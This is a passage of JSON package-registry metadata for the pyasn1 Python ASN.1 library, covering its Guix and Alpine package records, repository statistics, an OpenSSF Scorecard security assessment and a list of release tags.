s/api/v1/usage/guix/python-pyasn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pyasn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pyasn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pyasn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pyasn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pyasn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pyasn1/codemeta","maintainers":[],"registry":{"name":"guix","url":"https://guix.gnu.org","ecosystem":"guix","default":true,"packages_count":32295,"maintainers_count":0,"namespaces_count":0,"keywords_count":1654,"github":"guix-mirror","metadata":{"funded_packages_count":1168},"icon_url":"https://github.com/guix-mirror.png","created_at":"2026-03-02T16:23:46.981Z","updated_at":"2026-08-20T05:04:46.447Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/guix/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/guix/namespaces"}},{"id":11138109,"name":"py3-asn1-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-asn1","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_number":"0.6.1-r0","last_synced_at":"2026-08-11T12:23:47.603Z","created_at":"2024-12-07T12:19:30.700Z","updated_at":"2026-08-15T09:21:24.918Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-asn1-pyc","install_command":"apk add py3-asn1-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.917Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1-pyc/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyst